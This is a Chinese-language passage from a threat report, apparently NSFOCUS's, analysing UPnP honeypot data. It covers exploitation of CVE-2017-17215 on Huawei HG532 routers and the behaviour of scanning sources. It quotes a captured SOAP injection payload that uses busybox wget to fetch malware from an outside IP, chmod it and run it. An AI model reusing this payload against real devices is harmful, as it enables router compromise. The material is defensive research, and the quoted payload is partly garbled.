其他针对 UPnP 服务的恶意行为分析

105 阅读6分钟

其他针对 UPnP 服务的恶意行为分析

从我们在全球部署的 UPnP 蜜罐所采集的数据可以看到,除了 SSDP 反射攻击和针对 SOAP端口映 射的威胁外,还有一系列的针对 UPnP 协议栈的探测和攻击行为。

UPnP 漏洞的攻击数量繁多,本节将以一个利用较为广泛的 UPnP 漏洞,即华为 HG532 系列路由器 的 CVE-2017-17215 漏洞开发的蜜罐为例,介绍黑客利用 UPnP 漏洞进行恶意代码注入,从而下载恶意 样本的过程。另外也对 UPnP 攻击源的位置分布进行了分析。 CVE-2017-17215 漏洞存在于华为 HG532 系列路由器中,包括 B660,HG231f,HG531sV1, HG531V1,HG630,Yabox 等型号。该漏洞是利用 UPnP 服务中的 SOAP服务来做后续的固件下载和升级,后来被黑客利用执行恶意样本的下载从而作为黑客感染主机的敲门砖。

该漏洞的复现具体可以参照参考文献 [13]。针对相应的漏洞利用过程,分析其 PoC 代码,我们开发 并部署了 UPnP 蜜罐。

在部署的 UPnP 蜜罐中,我们监控到了一些恶意行为,包括暴露端口的 SOAP 服务扫描和利用 UPnP 漏洞的远程代码注入。

我们对 2018 年 12 月 25 日到 2019 年 1 月 21 日一周内捕获到的恶意行为类型进行了统计,其中针 对 SOAP服务的扫描有 29%,而针对 UPnP 漏洞的远程代码注入达到了 71%。

随后我们统计了恶意样本服务器 的所在国家,可以看到美国的数量最多,占比接近 50%,参见图 4.27 。

(a)UPnP 蜜罐捕获的远程代码注入源地理分布 b)UPnP 蜜罐捕获的扫描源地理分布

攻击者扫描和注入路径包括 /upnpdev.xml ,/ctrlt/DeviceUpgrade_1,/tr064dev.xml 等。 扫描方面,发现了一些针对 SOAP服务的设备配置文件请求如 upnpdev.xml 等。 远程代码注入方面,攻击者利用物联网设备固件的漏洞来下载恶意样本,分配权限并运行。例如下 面的攻击就是利用了 CVE-2017-17215 漏洞,针对固件的 SOAP服务升级后门来注入 pos t_body 并下载 恶意样本,其 SOAP服务利用方法如下:

p.org/soap/envelope/" s:encodingStyle="http:// schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnectio n:1">(/bin/busyboxwgetg128.199.137.201l/tmp/carlr/matos;/bin/busyboxchmod777/tmp/carl;/tmp/carlhuawei)</NewStatusURL><NewDownloadURL>(/bin/busybox wget -g 128.199.137.201 -l /tmp/carl -r /matos; /bin/busybox chmod 777 /tmp/carl; / tmp/carl huawei)</NewStatusURL><NewDownloadURL>(echo HUAWEIUPNP)</u:Upgrade> 另外,我们的 UPnP 蜜罐还观察到一些与 UPnP 无关的常规恶意行为,包括对网页,图标等建站资 源的 GET请求,针对 Apache Struts 等 web 漏洞的恶意代码注入和指向反动,邪教等网站的 http 代理等。

UPnP 服务扫描源分析

攻击者在做反射攻击之前,会对反射源提前扫描并确认其可用。我们部署的蜜罐作为反射源,可观 察到一些和扫描源相关的信息。从蜜罐日志数据中出发,我们发现了三种不同类型的扫描源:

  1. 具有长期且规律性扫描行为的扫描源;
  2. 与恶意行为相关的扫描源;
  3. 同时对多种不同端口的服务进行扫描的扫描源。 通过分析蜜罐日志数据,我们发现了和这三种扫描源相关的 IP 地址或组织。

(1)蜜罐的角色是通过反射攻击做 DDoS 的反射源,因此在所捕获到的日志数据中,同一个受害 者相关的日志数量都特别大。除此之外,存在一些源 IP 对蜜罐的访问次数很少,持续时间很长且有一 定的规律性,这一类源 IP 极有可能是扫描源。经过分析,我们发现 210.76.218.* 这个网段中的 IP 极有 可能都是扫描源。

表 4.14 展示了 201.76.218.* 网段部分 IP 访问不同蜜罐的次数和时间。经统计,这个网段中共有 203 个 IP 都有规律地访问过蜜罐,而且次数都在 10 次以下,这些 IP 都有可能是扫描源。

通过分析这种扫描特征,我们还定位到了一个扫描源组织 Shadowserver,与其相关的 ip 共 17 个, 来自于 184.105.139.,91.195.99.,205.209.140.* 这三个网段,这些 IP 都存在有规律的扫描行为。 该组织 [31] 官方介绍他们确实在进行大范围的扫描,用来搜索运行着不应该公开服务的公共可访问设备, 因为它们很容易被利用。他们的目的是识别这些暴露主机并将它们报告给所有者进行修复。

表 4.14 210.76.218.* 网段的 IP 相关信息

IP访问次数蜜罐位置日期IP访问次数蜜罐位置日期
201.76.218.62中国2018/9/21201.76.218.97美国2018/10/19
201.76.218.62中国2018/9/22201.76.218.102印度2018/10/18
201.76.218.62中国2018/9/23201.76.218.107印度2018/10/19
201.76.218.62中国2018/9/24201.76.218.107荷兰2018/10/19
201.76.218.62中国2018/9/25201.76.218.112荷兰2018/10/18
201.76.218.62中国2018/9/27201.76.218.117荷兰2018/10/19
201.76.218.67英国2018/10/19201.76.218.117新加坡2018/10/19
201.76.218.97印度2018/10/19201.76.218.122新加坡2018/10/18

(2) UPnP 蜜罐能识别到的行为主要有 4 种,分别为:SSDP,以及 SOAP的 HEAD、GET、POST 请求。SSDP 类型的请求一般与反射攻击直接相关,而 HEAD,GET 和 POST 类型的请求一般与开放端 口映射的恶意行为有关系,也可能与其他漏洞利用有关系,因此与后三种行为相关的 IP 极有可能是扫 描源。通过对将近两个月日志数据的过滤,与这三种类型行为相关的扫描源数量如图 4.29 所示:

日志类型

(3)存在一些扫描源会同时对不同端口的服务都进行扫描,所以它的扫描行为会被多个不同种类 的蜜罐捕获到。除了 UPnP 蜜罐之外,我们还布置了很多其他可以记录访问者登陆过程或输入命令行的 蜜罐,通过关联蜜罐数据,分析相同 IP 在不同蜜罐中的日志记录,可以很容易地判断扫描源。比如 IP 地址为 185...147 的扫描源 , 它在 cowrie 蜜罐中多次使用常见账号密码尝试暴力破解登陆,登陆成功 后只是简单的输入 “sh”,“busybox”,“help”等探测性的命令之后,没有任何其他操作就退出, 这说明它很有可能仅仅是做了扫描。与此同时,该 IP 在连接 Redis 蜜罐后“client list”获取所有连接 客户端,然后立刻断开连接的行为,以及在 Ommi 蜜罐中多次输入“/”,“/login.html”的命令都可 以帮助我们进一步确认它就是扫描源。

参考资料

绿盟 2018物联网安全年报

友情链接

绿盟 2020 DDoS攻击态势报告